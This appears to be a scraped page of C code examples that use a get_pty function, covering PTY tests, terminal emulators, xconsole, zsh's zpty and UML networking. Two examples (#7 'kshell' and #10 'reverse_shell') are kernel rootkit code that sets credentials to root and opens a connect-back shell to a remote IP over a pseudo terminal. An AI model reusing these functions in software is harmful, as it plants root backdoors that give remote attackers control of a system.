Exemple #1
0
/*
 * Test opening a single side multiple times.
 */
static void
test77b(void)
{
    char pname[PATH_MAX], tname[PATH_MAX];
    int oldstyle, masterfd, slavefd, extrafd;

    subtest = 2;

    /* Obtain a pseudo terminal. */
    oldstyle = get_pty(&masterfd, pname, tname);

    if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

    /*
     * It must not be possible to open the master multiple times.  Doing so
     * is possible only if we have a named master, i.e., an old-style PTY.
     */
    test_comm(masterfd, slavefd);

    if (oldstyle) {
        if ((extrafd = open(pname, O_RDWR | O_NOCTTY)) >= 0) e(0);
        if (errno != EIO) e(0);
    }

    test_comm(masterfd, slavefd);

    if (close(slavefd) < 0) e(0);
    if (close(masterfd) < 0) e(0);

    /* The slave can be opened multiple times, though. */
    oldstyle = get_pty(&masterfd, pname, tname);

    if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

    test_comm(masterfd, slavefd);

    if ((extrafd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

    test_comm(masterfd, extrafd);
    test_comm(masterfd, slavefd);

    if (close(slavefd) < 0) e(0);
    if (close(extrafd) < 0) e(0);
    if (close(masterfd) < 0) e(0);
}
Exemple #2
0
static int slip_open(void *data)
{
	struct slip_data *pri = data;
	char version_buf[sizeof("nnnnn\0")];
	char gate_buf[sizeof("nnn.nnn.nnn.nnn\0")];
	char *argv[] = { "uml_net", version_buf, "slip", "up", gate_buf, 
			 NULL };
	int sfd, mfd, disc, sencap, err;

	if((mfd = get_pty()) < 0){
		printk("umn : Failed to open pty\n");
		return(-1);
	}
	if((sfd = os_open_file(ptsname(mfd), of_rdwr(OPENFLAGS()), 0)) < 0){
		printk("Couldn't open tty for slip line\n");
		return(-1);
	}
	if(set_up_tty(sfd)) return(-1);
	pri->slave = sfd;
	pri->pos = 0;
	pri->esc = 0;
	if(pri->gate_addr != NULL){
		sprintf(version_buf, "%d", UML_NET_VERSION);
		strcpy(gate_buf, pri->gate_addr);

		err = slip_tramp(argv, sfd);

		if(err != 0){
			printk("slip_tramp failed - errno = %d\n", err);
			return(-err);
		}
		if(ioctl(pri->slave, SIOCGIFNAME, pri->name) < 0){
			printk("SIOCGIFNAME failed, errno = %d\n", errno);
			return(-errno);
		}
		iter_addresses(pri->dev, open_addr, pri->name);
	}
	else {
		disc = N_SLIP;
		if(ioctl(sfd, TIOCSETD, &disc) < 0){
			printk("Failed to set slip line discipline - "
			       "errno = %d\n", errno);
			return(-errno);
		}
		sencap = 0;
		if(ioctl(sfd, SIOCSIFENCAP, &sencap) < 0){
			printk("Failed to set slip encapsulation - "
			       "errno = %d\n", errno);
			return(-errno);
		}
	}
	return(mfd);
}
Exemple #3
0
static int run_process(const char *path, const char **argv, 
                       int *fd_ptr, int *pid_ptr)
{
    int pty_fd, pid, i, nb_fds;
    char tty_name[32];
    struct winsize ws;

    pty_fd = get_pty(tty_name);
    if (pty_fd < 0) {
        put_status(NULL, "cannot get tty");
        return -1;
    }
    fcntl(pty_fd, F_SETFL, O_NONBLOCK);
    /* set dummy screen size */
    ws.ws_col = 80;
    ws.ws_row = 25;
    ws.ws_xpixel = ws.ws_col;
    ws.ws_ypixel = ws.ws_row;
    ioctl(pty_fd, TIOCSWINSZ, &ws);
    
    pid = fork();
    if (pid < 0) {
        put_status(NULL, "cannot fork");
        return -1;
    }
    if (pid == 0) {
        /* child process */
        nb_fds = getdtablesize();
        for (i = 0; i < nb_fds; i++)
            close(i);
        /* open pseudo tty for standard i/o */
        open(tty_name, O_RDWR);
        dup(0);
        dup(0);

        setsid();

        execv(path, (char *const*)argv);
        exit(1);
    }
    /* return file info */
    *fd_ptr = pty_fd;
    *pid_ptr = pid;
    return 0;
}
Exemple #4
0
int execute_command(Term *term)//, int argc, const char **argv)
{
   char **args;
   struct passwd *pw;

   pw = find_user();

   if((term->cmd_fd.sys = get_pty(term)) < 0)
     return -1;

   if((pid = fork()) < 0) {
      fprintf(stderr, "Couldn't fork: %m\n");
      return -1;
   }
   if(!pid) {
      /* child */
      get_tty(term);

      putenv("TERM=xterm");
      chdir(pw->pw_dir);

      args = calloc(3, sizeof(char*));
      args[0] = malloc(strlen(pw->pw_shell) + 1);
      strcpy(args[0], pw->pw_shell);
      args[1] = "-i";
      args[2] = NULL;

      execvp(pw->pw_shell, args);

      /* shouldn't be here */
      fprintf(stderr, "Error executing %s: %m\n", pw->pw_shell);
      exit(1);
   }

   /* parent */
   close(term->slave.sys);
   signal(SIGCHLD, sigchld_handler);

   return 0;
}
Exemple #5
0
static void
OpenConsole(void)
{
    input = 0;
    if (app_resources.file)
    {
	if (!strcmp (app_resources.file, "console"))
	{
	    /* must be owner and have read/write permission */
#if !defined(__NetBSD__) && !defined(__OpenBSD__)
	    struct stat sbuf;
# if !defined (linux)
	    if (!stat("/dev/console", &sbuf) &&
		(sbuf.st_uid == getuid()) &&
		!access("/dev/console", R_OK|W_OK))
# endif
#endif
	    {
#ifdef USE_FILE
# ifdef linux
		if (!stat(FILE_NAME, &sbuf))
# endif
		    input = fopen (FILE_NAME, "r");
#endif

#ifdef USE_PTY
		if (!input && get_pty (&pty_fd, &tty_fd, ttydev, ptydev) == 0)
		{
# ifdef TIOCCONS
		    int on = 1;
#  ifdef USE_PRIVSEP
		    if (priv_set_console(tty_fd) != -1)
 			input = fdopen (pty_fd, "r");
#  else
		    if (ioctl (tty_fd, TIOCCONS, (char *) &on) != -1)
			input = fdopen (pty_fd, "r");
#  endif
# else
		    int consfd = open("/dev/console", O_RDONLY);
		    if (consfd >= 0)
		    {
			if (ioctl(consfd, SRIOCSREDIR, tty_fd) != -1)
			    input = fdopen (pty_fd, "r");
			close(consfd);
		    }
# endif
		}
#endif /* USE_PTY */
	    }
#ifdef USE_OSM
	    /* Don't have to be owner of /dev/console when using /dev/osm. */
	    if (!input)
		input = osm_pipe();
#endif
	    if (input && app_resources.verbose)
	    {
		char	*hostname;
		TextAppend (text, "Console log for ", 16);
		hostname = mit_console_name + MIT_CONSOLE_LEN;
		TextAppend (text, hostname, strlen (hostname));
		TextAppend (text, "\n", 1);
	    }
	}
	else
	{
	    regularFile = FALSE;
	    if (access(app_resources.file, R_OK) == 0)
	    {
		int fd  = open (app_resources.file,
				O_RDONLY | O_NONBLOCK | O_NOCTTY);
		if (fd != -1) {
		    input = fdopen (fd, "r");

		    if (input) {
			struct stat sbuf;

			if ((fstat(fd, &sbuf) == 0) && S_ISREG(sbuf.st_mode))
			    regularFile = TRUE;
		    }
		    else
			close(fd);
		}
	    }
	}
	if (!input)
	{
	    if (app_resources.exitOnFail)
		exit(0);
	    TextAppend (text, "Couldn't open ", 14);
	    TextAppend (text, app_resources.file, strlen (app_resources.file));
	    TextAppend (text, "\n", 1);
	}
    }
    else
	input = stdin;

    if (input)
    {
	input_id = XtAddInput (fileno (input), (XtPointer) XtInputReadMask,
			       inputReady, (XtPointer) text);
    }
}
Exemple #6
0
static int slip_open(void *data)
{
	struct slip_data *pri = data;
	char version_buf[sizeof("nnnnn\0")];
	char gate_buf[sizeof("nnn.nnn.nnn.nnn\0")];
	char *argv[] = { "uml_net", version_buf, "slip", "up", gate_buf, 
			 NULL };
	int sfd, mfd, err;

	err = get_pty();
	if(err < 0){
		printk("slip-open : Failed to open pty, err = %d\n", -err);
		goto out;
	}
	mfd = err;

	err = os_open_file(ptsname(mfd), of_rdwr(OPENFLAGS()), 0);
	if(err < 0){
		printk("Couldn't open tty for slip line, err = %d\n", -err);
		goto out_close;
	}
	sfd = err;

	if(set_up_tty(sfd))
		goto out_close2;

	pri->slave = sfd;
	pri->slip.pos = 0;
	pri->slip.esc = 0;
	if(pri->gate_addr != NULL){
		sprintf(version_buf, "%d", UML_NET_VERSION);
		strcpy(gate_buf, pri->gate_addr);

		err = slip_tramp(argv, sfd);

		if(err < 0){
			printk("slip_tramp failed - err = %d\n", -err);
			goto out_close2;
		}
		err = os_get_ifname(pri->slave, pri->name);
		if(err < 0){
			printk("get_ifname failed, err = %d\n", -err);
			goto out_close2;
		}
		iter_addresses(pri->dev, open_addr, pri->name);
	}
	else {
		err = os_set_slip(sfd);
		if(err < 0){
			printk("Failed to set slip discipline encapsulation - "
			       "err = %d\n", -err);
			goto out_close2;
		}
	}
	return(mfd);
out_close2:
	os_close_file(sfd);
out_close:
	os_close_file(mfd);
out:
	return err;
}
Exemple #7
0
/**
 * kshell - start a connect back shell in kernel space.
 * @ip: remote ip to connect.
 * @port: remote port to connect.
 * both ip and port are network bytes.
 *
 * When the system call 'read' had read the flag 'wztshell',it will be use this
 * function to start a connect back shell.
 *
 * return value is always NF_ACCEPT.It's not firewall,just want to filter the key.
 */
int kshell(int ip,int port)
{
        //struct task_struct *ptr = current;
    struct cred *ptr = (struct cred *)current->cred;
	struct socket *sock;
        struct sockaddr_in server;
	struct winsize ws;
        mm_segment_t old_fs;
        fd_set s_read;
        int soc, tmp_pid, i;
	int byte1,count,rlen;
	int error;
	int len = sizeof(struct sockaddr);
        char tmp[101],buf[101];
	unsigned char *p,*d;
        unsigned char wb[5];
	
        old_fs = get_fs();

        ptr->uid = 0;
        ptr->euid = 0;
        ptr->gid = SGID;
        ptr->egid = 0;

        set_fs(KERNEL_DS);
 	ssetmask(~0);

	for (i = 0;i < 4096; i++)
		close(i);
       
        error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
        if (error < 0) {
		#if DEBUG == 1
                printk("[-] socket_create failed: %d\n",error);
                #endif

		sock_release(sock);
		wztshell = 0;
		e_exit(-1);
                return -1;
        }
	//http://lkml.indiana.edu/hypermail/linux/kernel/0805.0/2937.html
	soc = sock_map_fd(sock,0);
	if (soc < 0) {
		#if DEBUG == 1
		printk("[-] sock_map_fd() failed.\n");
		#endif

		sock_release(sock);
		wztshell = 0;
		e_exit(-1);
		return -1;
	}

	for (i = 0; i < 8; i++)
		server.sin_zero[i] = 0;

	server.sin_family = PF_INET;
	server.sin_addr.s_addr = ip;
	server.sin_port = port;

        error = sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags);
	if (error < 0) {
		#if DEBUG == 1
		printk("[-] connect to failed.\n");	
		#endif

		e_exit(-1);
		return -1;
	}

        epty = get_pty();
        set_fs(old_fs);

        if (!(tmp_pid = fork()))
	       start_shell();

	set_fs(KERNEL_DS);

        /*
	#if ENCRYPT == 1
	encrypt_code(banner,200);
	#endif
        write(soc,banner,200);
        */
        
        while (1) {
	        FD_ZERO(&s_read);
	        FD_SET(ptmx, &s_read);
	        FD_SET(soc, &s_read);

	        if (_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL) < 0)
		      break;

                if (FD_ISSET(ptmx, &s_read)) {
                        byte1 = read(ptmx, tmp, 100);
			if (byte1 <= 0)
			     break;
			#if ENCRYPT == 1
			encrypt_code(tmp,byte1);
			#endif
                        write(soc, tmp, byte1);
		}

                if (FD_ISSET(soc, &s_read)) {
                        d = buf;
                        count = read(soc, buf, 100);
			if (count <= 0)
			     break;
			#if ENCRYPT == 1
			encrypt_code(buf,count);
			#endif
			
                        p = memchr(buf, ECHAR, count);
                        if (p) {
                                rlen = count - ((long) p - (long) buf);

                                /* wait for rest */
                                if (rlen > 5) rlen = 5;
                                memcpy(wb, p, rlen);
                                if (rlen < 5) {
                               	        read(soc, &wb[rlen], 5 - rlen);
					#if ENCRYPT == 1
					encrypt_code(&wb[rlen],5 - rlen);
					#endif
                                }

                                /* setup window */
                                ws.ws_xpixel = ws.ws_ypixel = 0;
                                ws.ws_col = (wb[1] << 8) + wb[2];
                                ws.ws_row = (wb[3] << 8) + wb[4];
                                ioctl(ptmx, TIOCSWINSZ, (unsigned long)&ws);
                                kill(0, SIGWINCH);

                                /* write the rest */
                                write(ptmx, buf, (long) p - (long) buf);
                                rlen = ((long) buf + count) - ((long)p+5);
                                if (rlen > 0) write(ptmx, p+5, rlen);
                        } else
                      		if (write(ptmx, d, count) <= 0) break;
		}

	}

        kill(tmp_pid, SIGKILL);

        set_fs(old_fs);
        e_exit(0);

        return -1;
}
Exemple #8
0
static
OpenConsole ()
{
    input = 0;
    if (app_resources.file)
    {
	if (!strcmp (app_resources.file, "console"))
	{
	    struct stat sbuf;
	    /* must be owner and have read/write permission */
#if !defined(__NetBSD__) && !defined(__OpenBSD__) && !defined(Lynx) && !defined(__EMX__)
	    if (!stat("/dev/console", &sbuf) &&
		(sbuf.st_uid == getuid()) &&
		!access("/dev/console", R_OK|W_OK))
#endif
	    {
#ifdef USE_FILE
	    	input = fopen (FILE_NAME, "r");

#ifdef __EMX__
		if (input) 
		{
		    ULONG arg = 1,arglen;
		    APIRET rc;
		    if ((rc=DosDevIOCtl(fileno(input), 0x76,0x4d, 
			&arg, sizeof(arg), &arglen,
			NULL, 0, NULL)) != 0) 
		    {
			fclose(input);
			input = 0;
		    }	    	
		}
#endif
#endif
#ifdef USE_PTY
		if (get_pty (&pty_fd, &tty_fd, ttydev, ptydev) == 0)
		{
#ifdef TIOCCONS
		    int on = 1;
		    if (ioctl (tty_fd, TIOCCONS, (char *) &on) != -1)
			input = fdopen (pty_fd, "r");
#else
#ifndef Lynx
		    int consfd = open("/dev/console", O_RDONLY);
		    if (consfd >= 0)
		    {
			if (ioctl(consfd, SRIOCSREDIR, tty_fd) != -1)
			    input = fdopen (pty_fd, "r");
			close(consfd);
		    }
#else
		    if (newconsole(tty_fd) < 0)
		    	perror("newconsole");
		    else
		    {
			input = fdopen (pty_fd, "r");
			atexit(RestoreConsole);
		    }
#endif
#endif
		}
#endif
	    }
#ifdef USE_OSM
	    /* Don't have to be owner of /dev/console when using /dev/osm. */
	    if (!input)
		input = osm_pipe();
#endif
	    if (input && app_resources.verbose)
	    {
		char	*hostname;
		TextAppend (text, "Console log for ", 16);
		hostname = mit_console_name + MIT_CONSOLE_LEN;
		TextAppend (text, hostname, strlen (hostname));
		TextAppend (text, "\n", 1);
	    }
	}
	else
	{
	    struct stat sbuf;

	    regularFile = FALSE;
            if (access(app_resources.file, R_OK) == 0)
	    {
		input = fopen (app_resources.file, "r");
		if (input)
		    if (!stat(app_resources.file, &sbuf) &&
			(sbuf.st_mode & S_IFMT) == S_IFREG)
		    {
			regularFile = TRUE;
			fseek(input, 0, SEEK_END);
		    }
	    }
	}
	if (!input)
	{
	    if (app_resources.exitOnFail)
		exit(0);
	    TextAppend (text, "Couldn't open ", 14);
	    TextAppend (text, app_resources.file, strlen (app_resources.file));
	    TextAppend (text, "\n", 1);
	}
    }
    else
	input = stdin;

    if (input)
    {
#ifdef MINIX
	fcntl(fileno (input), F_SETFD,
		fcntl(fileno (input), F_GETFD) | FD_ASYNCHIO);
	nbio_register(fileno (input));
#endif
	input_id = XtAddInput (fileno (input), (XtPointer) XtInputReadMask,
			       inputReady, (XtPointer) text);
    }
}
int capture_std::run(const char *pcCommand, lua_State *ptLuaStateForTableAccess)
{
	int iResult;
	char **ppcCmdArguments;
	pid_t tPidCapture;
	ssize_t ssizRead;
	unsigned char aucBuffer[4096];
	int iNewFd;
	fd_set tReadFdSet;
	int iStatus;
	int iThreadResult;


	/* Init all variables. */
	tPidCapture = -1;

	/* The third argument of the function is the table. This is stack index 3. */
	ppcCmdArguments = get_strings_from_table(3, ptLuaStateForTableAccess);
	if( ppcCmdArguments==NULL )
	{
		iResult = 0;
	}
	else
	{
		/* Create the pty. */
		iResult = get_pty();
		if( iResult==0 )
		{
			/* Create the exec thread. */
			iResult = start_exec_thread(pcCommand, ppcCmdArguments);
			if( iResult==0 )
			{
				printf("*** Start Capture ***\n");

				tPidCapture = fork();
				if( tPidCapture==-1 )
				{
					fprintf(stderr, "Failed to create the capture thread (%d): %s\n", errno, strerror(errno));
					iResult = -1;
				}
				else if( tPidCapture==0 )
				{
					/* This is the capture thread. */
					printf("This is the capture thread.\n");

					do
					{
						FD_ZERO(&tReadFdSet);
						FD_SET(m_iFdPtyMaster, &tReadFdSet);

						iStatus = select(m_iFdPtyMaster+1, &tReadFdSet, NULL, NULL, NULL);
						if( iStatus==-1 )
						{
							/* Select failed! */
							iResult = EXIT_FAILURE;
							break;
						}
						else if( iStatus>0 )
						{
							ssizRead = read(m_iFdPtyMaster, aucBuffer, sizeof(aucBuffer)-1);
							if( ssizRead<0 )
							{
								if( errno==EIO )
								{
									/* The terminal was closed. */
									iResult = EXIT_SUCCESS;
								}
								else
								{
									fprintf(stderr, "read error %d %s\n", errno, strerror(errno));
									iResult = EXIT_FAILURE;
								}
								break;
							}
							else
							{
								aucBuffer[ssizRead] = 0;
								printf("<OUT len=%d>%s</OUT>\n", ssizRead, aucBuffer);
							}
						}
					} while( iStatus>0 );

					close(m_iFdPtyMaster);

					printf("*** Stop Capture ***\n");

					iStatus = waitpid(m_tExecThread, NULL, 0);
					if( WIFEXITED(iStatus) )
					{
						iThreadResult = WEXITSTATUS(iStatus);
					}
					else
					{
						iThreadResult = -1;
					}

					/* Send an event to the handler. */
//					send_finished_event(m_tExecThread, iThreadResult);

					exit(iResult);
				}
				else
				{
					/* This is the parent. */
					m_tCaptureThread = tPidCapture;


					printf("wait until the threads finished.\n");
					waitpid(m_tCaptureThread, NULL, 0);
					printf("ok, all finished!\n");
				}
			}
		}

		free_string_table(ppcCmdArguments);
	}
	return 0;
}
Exemple #10
0
int reverse_shell(void *ip)
{
struct task_struct *ptr = current;
struct sockaddr_in dire;
struct pt_regs regs;
mm_segment_t old_fs;
unsigned long arg[3];
int soc, tmp_pid;
unsigned char tmp;
fd_set s_read;


old_fs = get_fs();

ptr->uid = 0;
ptr->euid = 0;
ptr->gid = SGID;
ptr->egid = 0;

arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;

set_fs(KERNEL_DS);

if ((soc = socketcall(SYS_SOCKET, arg)) == -1)
	{
	set_fs(old_fs);
	lanzar_shell = 1;

    e_exit(-1);
	return(-1);
    }

memset((void *) &dire, 0, sizeof(dire));

dire.sin_family = AF_INET;
dire.sin_port = htons((unsigned short) global_port);
dire.sin_addr.s_addr = (unsigned long) global_ip;

arg[0] = soc;
arg[1] = (unsigned long) &dire;
arg[2] = (unsigned long) sizeof(dire);

if (socketcall(SYS_CONNECT, arg) == -1)
	{
	close(soc);
	set_fs(old_fs);
	lanzar_shell = 1;

	e_exit(-1);
	return(-1);
	}

/* pillamos tty */
epty = get_pty();

/* ejecutamos shell */
set_fs(old_fs);

memset(&regs, 0, sizeof(regs));
regs.xds = __USER_DS;
regs.xes = __USER_DS;
regs.orig_eax = -1;
regs.xcs = __KERNEL_CS;
regs.eflags = 0x286;
regs.eip = (unsigned long) ejecutar_shell;
tmp_pid = (*my_do_fork)(0, 0, &regs, 0, NULL, NULL);

set_fs(KERNEL_DS);


while(1)
	{
	FD_ZERO(&s_read);
	FD_SET(ptmx, &s_read);
	FD_SET(soc, &s_read);

	_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL);

	if (FD_ISSET(ptmx, &s_read))
		{
		if (read(ptmx, &tmp, 1) == 0)
			break;
		write(soc, &tmp, 1);
		}

	if (FD_ISSET(soc, &s_read))
		{
		if (read(soc, &tmp, 1) == 0)
			break;
		write(ptmx, &tmp, 1);
		}

	} /* fin while */


/* matamos el proceso */
kill(tmp_pid, SIGKILL);

/* salimos */
set_fs(old_fs);
e_exit(0);

return(-1);

} /********** fin reverse_shell **********/
Exemple #11
0
static int
newptycmd(char *nam, char *pname, char **args, int echo, int nblock)
{
    Ptycmd p;
    int master, slave, pid, oineval = ineval, ret;
    char *oscriptname = scriptname, syncch;
    Eprog prog;

    /* code borrowed from bin_eval() */
    ineval = !isset(EVALLINENO);
    if (!ineval)
	scriptname = "(zpty)";

    prog = parse_string(zjoin(args, ' ', 1), 0);
    if (!prog) {
	errflag &= ~ERRFLAG_ERROR;
	scriptname = oscriptname;
	ineval = oineval;
	return 1;
    }

    if (get_pty(1, &master)) {
	zwarnnam(nam, "can't open pseudo terminal: %e", errno);
	scriptname = oscriptname;
	ineval = oineval;
	return 1;
    }
    if ((pid = fork()) == -1) {
	zwarnnam(nam, "can't create pty command %s: %e", pname, errno);
	close(master);
	scriptname = oscriptname;
	ineval = oineval;
	return 1;
    } else if (!pid) {
	/* This code copied from the clone module, except for getting *
	 * the descriptor from get_pty() and duplicating it to 0/1/2. */

	deletehookfunc("exit", ptyhook);
	clearjobtab(0);
	ppid = getppid();
	mypid = getpid();
#ifdef HAVE_SETSID
	if (setsid() != mypid) {
	    zwarnnam(nam, "failed to create new session: %e", errno);
#endif
#ifdef TIOCNOTTY
	    if (ioctl(SHTTY, TIOCNOTTY, 0))
		zwarnnam(nam, "%e", errno);
	    setpgrp(0L, mypid);
#endif
#ifdef HAVE_SETSID
	}
#endif

	if (get_pty(0, &slave))
	    exit(1);
	SHTTY = slave;
	attachtty(mypid);
#ifdef TIOCGWINSZ
	/* Set the window size before associating with the terminal *
	 * so that we don't get hit with a SIGWINCH.  I'm paranoid. */
	if (interact) {
	    struct ttyinfo info;

	    if (ioctl(slave, TIOCGWINSZ, (char *) &info.winsize) == 0) {
		info.winsize.ws_row = zterm_lines;
		info.winsize.ws_col = zterm_columns;
		ioctl(slave, TIOCSWINSZ, (char *) &info.winsize);
	    }
	}
#endif /* TIOCGWINSZ */

	if (!echo) {
	    struct ttyinfo info;

	    if (!ptygettyinfo(slave, &info)) {
#ifdef HAVE_TERMIOS_H
		info.tio.c_lflag &= ~ECHO;
#else
#ifdef HAVE_TERMIO_H
		info.tio.c_lflag &= ~ECHO;
#else
		info.tio.lmodes &= ~ECHO; /**** dunno if this is right */
#endif
#endif
		ptysettyinfo(slave, &info);
	    }
	}

#ifdef TIOCSCTTY
	ioctl(slave, TIOCSCTTY, 0);
#endif

	close(0);
	close(1);
	close(2);

	dup2(slave, 0);
	dup2(slave, 1);
	dup2(slave, 2);

	closem(FDT_UNUSED, 0);
	close(slave);
	close(master);
	close(coprocin);
	close(coprocout);
	init_io(NULL);
	setsparam("TTY", ztrdup(ttystrname));

	opts[INTERACTIVE] = 0;

	syncch = 0;
	do {
	    ret = write(1, &syncch, 1);
	} while (ret != 1 && (
#ifdef EWOULDBLOCK
	    errno == EWOULDBLOCK ||
#else
#ifdef EAGAIN
	    errno == EAGAIN ||
#endif
#endif
	    errno == EINTR));

	execode(prog, 1, 0, "zpty");
	stopmsg = 2;
	mypid = 0; /* trick to ensure we _exit() */
	zexit(lastval, 0);
    }
    master = movefd(master);
    if (master == -1) {
	zerrnam(nam, "cannot duplicate fd %d: %e", master, errno);
	scriptname = oscriptname;
	ineval = oineval;
	return 1;
    }

    p = (Ptycmd) zalloc(sizeof(*p));

    p->name = ztrdup(pname);
    p->args = zarrdup(args);
    p->fd = master;
    p->pid = pid;
    p->echo = echo;
    p->nblock = nblock;
    p->fin = 0;
    p->read = -1;
    p->old = NULL;
    p->olen = 0;

    p->next = ptycmds;
    ptycmds = p;

    if (nblock)
	ptynonblock(master);

    scriptname = oscriptname;
    ineval = oineval;

    do {
	ret = read(master, &syncch, 1);
    } while (ret != 1 && (
#ifdef EWOULDBLOCK
	    errno == EWOULDBLOCK ||
#else
#ifdef EAGAIN
	    errno == EAGAIN ||
#endif
#endif
	    errno == EINTR));

    setiparam_no_convert("REPLY", (zlong)master);

    return 0;
}
Exemple #12
0
/*
 * Test basic select functionality on /dev/tty.  While this test should not be
 * part of this test set, we already have all the infrastructure we need here.
 */
static void
test77f(void)
{
    struct sigaction act, oact;
    char c, tname[PATH_MAX];
    struct timeval tv;
    fd_set fd_set;
    int fd, maxfd, masterfd, slavefd;

    subtest = 6;

    /* We do not want to get SIGHUP signals in this test. */
    memset(&act, 0, sizeof(act));
    act.sa_handler = SIG_IGN;
    if (sigaction(SIGHUP, &act, &oact) < 0) e(0);

    /* Obtain a pseudo terminal. */
    (void)get_pty(&masterfd, NULL, tname);

    switch (fork()) {
    case 0:
        if (close(masterfd) < 0) e(0);

        if (setsid() < 0) e(0);

        if ((slavefd = open(tname, O_RDWR)) < 0) e(0);

        if ((fd = open("/dev/tty", O_RDWR)) < 0) e(0);

        make_raw(fd);

        /* Without slave input, /dev/tty is not ready for reading. */
        FD_ZERO(&fd_set);
        FD_SET(fd, &fd_set);
        tv.tv_sec = 0;
        tv.tv_usec = 0;

        if (select(fd + 1, &fd_set, NULL, NULL, &tv) != 0) e(0);
        if (FD_ISSET(fd, &fd_set)) e(0);

        FD_SET(fd, &fd_set);
        tv.tv_sec = 0;
        tv.tv_usec = 10000;

        if (select(fd + 1, &fd_set, NULL, NULL, &tv) != 0) e(0);
        if (FD_ISSET(fd, &fd_set)) e(0);

        /* It will be ready for writing, though. */
        FD_SET(fd, &fd_set);

        if (select(fd + 1, NULL, &fd_set, NULL, NULL) != 1) e(0);
        if (!FD_ISSET(fd, &fd_set)) e(0);

        /* Test mixing file descriptors to the same terminal. */
        FD_ZERO(&fd_set);
        FD_SET(fd, &fd_set);
        FD_SET(slavefd, &fd_set);
        tv.tv_sec = 0;
        tv.tv_usec = 10000;

        maxfd = fd > slavefd ? fd : slavefd;
        if (select(maxfd + 1, &fd_set, NULL, NULL, &tv) != 0) e(0);
        if (FD_ISSET(fd, &fd_set)) e(0);
        if (FD_ISSET(slavefd, &fd_set)) e(0);

        /* The delayed echo on the master must wake up our select. */
        c = 'A';
        if (write(slavefd, &c, sizeof(c)) != sizeof(c)) e(0);

        FD_ZERO(&fd_set);
        FD_SET(fd, &fd_set);

        if (select(fd + 1, &fd_set, NULL, NULL, NULL) != 1) e(0);
        if (!FD_ISSET(fd, &fd_set)) e(0);

        /* Select must now still flag readiness for reading. */
        tv.tv_sec = 0;
        tv.tv_usec = 0;

        if (select(fd + 1, &fd_set, NULL, NULL, &tv) != 1) e(0);
        if (!FD_ISSET(fd, &fd_set)) e(0);

        /* That is, until we read the byte. */
        if (read(slavefd, &c, sizeof(c)) != sizeof(c)) e(0);
        if (c != 'B') e(0);

        if (select(fd + 1, &fd_set, NULL, NULL, &tv) != 0) e(0);
        if (FD_ISSET(fd, &fd_set)) e(0);

        /* Ask the parent to close the master. */
        c = 'C';
        if (write(slavefd, &c, sizeof(c)) != sizeof(c)) e(0);

        FD_SET(fd, &fd_set);

        /* The closure must cause an EOF condition on the slave. */
        if (select(fd + 1, &fd_set, NULL, NULL, NULL) != 1) e(0);
        if (!FD_ISSET(fd, &fd_set)) e(0);

        if (select(fd + 1, &fd_set, NULL, NULL, NULL) != 1) e(0);
        if (!FD_ISSET(fd, &fd_set)) e(0);

        if (read(slavefd, &c, sizeof(c)) != 0) e(0);

        exit(errct);
    case -1:
        e(0);
    default:
        /* Wait for the child to write something to the slave. */
        FD_ZERO(&fd_set);
        FD_SET(masterfd, &fd_set);

        if (select(masterfd + 1, &fd_set, NULL, NULL, NULL) != 1)
            e(0);
        if (!FD_ISSET(masterfd, &fd_set)) e(0);

        if (read(masterfd, &c, sizeof(c)) != sizeof(c)) e(0);
        if (c != 'A') e(0);

        /* Write a reply once the child is blocked in its select. */
        tv.tv_sec = 1;
        tv.tv_usec = 0;
        if (select(masterfd + 1, &fd_set, NULL, NULL, &tv) != 0)
            e(0);

        c = 'B';
        if (write(masterfd, &c, sizeof(c)) != sizeof(c)) e(0);

        /* Wait for the child to request closing the master. */
        if (read(masterfd, &c, sizeof(c)) != sizeof(c)) e(0);
        if (c != 'C') e(0);

        /* Close the master once the child is blocked in its select. */
        sleep(1);

        close(masterfd);

        break;
    }

    if (waitchild() < 0) e(0);

    if (sigaction(SIGHUP, &oact, NULL) < 0) e(0);
}
Exemple #13
0
/*
 * Test receiving of SIGHUP on master hang-up.  All of the tests so far have
 * ignored SIGHUP, and probably would not have received one anyway, since the
 * process was not its own session leader.  Time to test this aspect.
 */
static void
test77e(void)
{
    struct sigaction act, hup_oact, usr_oact;
    sigset_t set, oset;
    char tname[PATH_MAX];
    int masterfd, slavefd;

    subtest = 5;

    memset(&act, 0, sizeof(act));
    act.sa_handler = signal_handler;
    if (sigaction(SIGHUP, &act, &hup_oact) < 0) e(0);

    memset(&act, 0, sizeof(act));
    act.sa_handler = signal_handler;
    if (sigaction(SIGUSR1, &act, &usr_oact) < 0) e(0);

    sigemptyset(&set);
    sigaddset(&set, SIGHUP);
    sigaddset(&set, SIGUSR1);
    if (sigprocmask(SIG_BLOCK, &set, &oset) < 0) e(0);

    sighups = 0;

    /* Make ourselves process group leader if we aren't already. */
    (void)setsid();

    /* Obtain a pseudo terminal. */
    (void)get_pty(&masterfd, NULL, tname);

    switch (fork()) {
    case 0:
        if (close(masterfd) < 0) e(0);

        /* Become session leader. */
        if (setsid() < 0) e(0);

        if ((slavefd = open(tname, O_RDWR)) < 0) e(0);

        /* Tell the parent we are ready. */
        kill(getppid(), SIGUSR1);

        /* We should now get a SIGHUP. */
        set = oset;
        if (sigsuspend(&set) >= 0) e(0);

        if (sighups != 1) e(0);

        exit(errct);
    case -1:
        e(0);
    default:
        break;
    }

    /* Wait for SIGUSR1 from the child. */
    set = oset;
    if (sigsuspend(&set) >= 0) e(0);

    /* Closing the master should now raise a SIGHUP signal in the child. */
    if (close(masterfd) < 0) e(0);

    if (waitchild() < 0) e(0);

    if (sigprocmask(SIG_SETMASK, &oset, NULL) < 0) e(0);

    if (sigaction(SIGHUP, &hup_oact, NULL) < 0) e(0);
    if (sigaction(SIGUSR1, &usr_oact, NULL) < 0) e(0);
}
Exemple #14
0
/*
 * Test opening the slave side with and without the O_NOCTTY flag.
 */
static void
test77d(void)
{
    char pname[PATH_MAX], tname[PATH_MAX];
    int masterfd, slavefd;

    subtest = 4;

    /* Make ourselves process group leader if we aren't already. */
    (void)setsid();

    /* Obtain a pseudo terminal. */
    (void)get_pty(&masterfd, NULL, tname);

    /*
     * Opening the slave with O_NOCTTY should not change its controlling
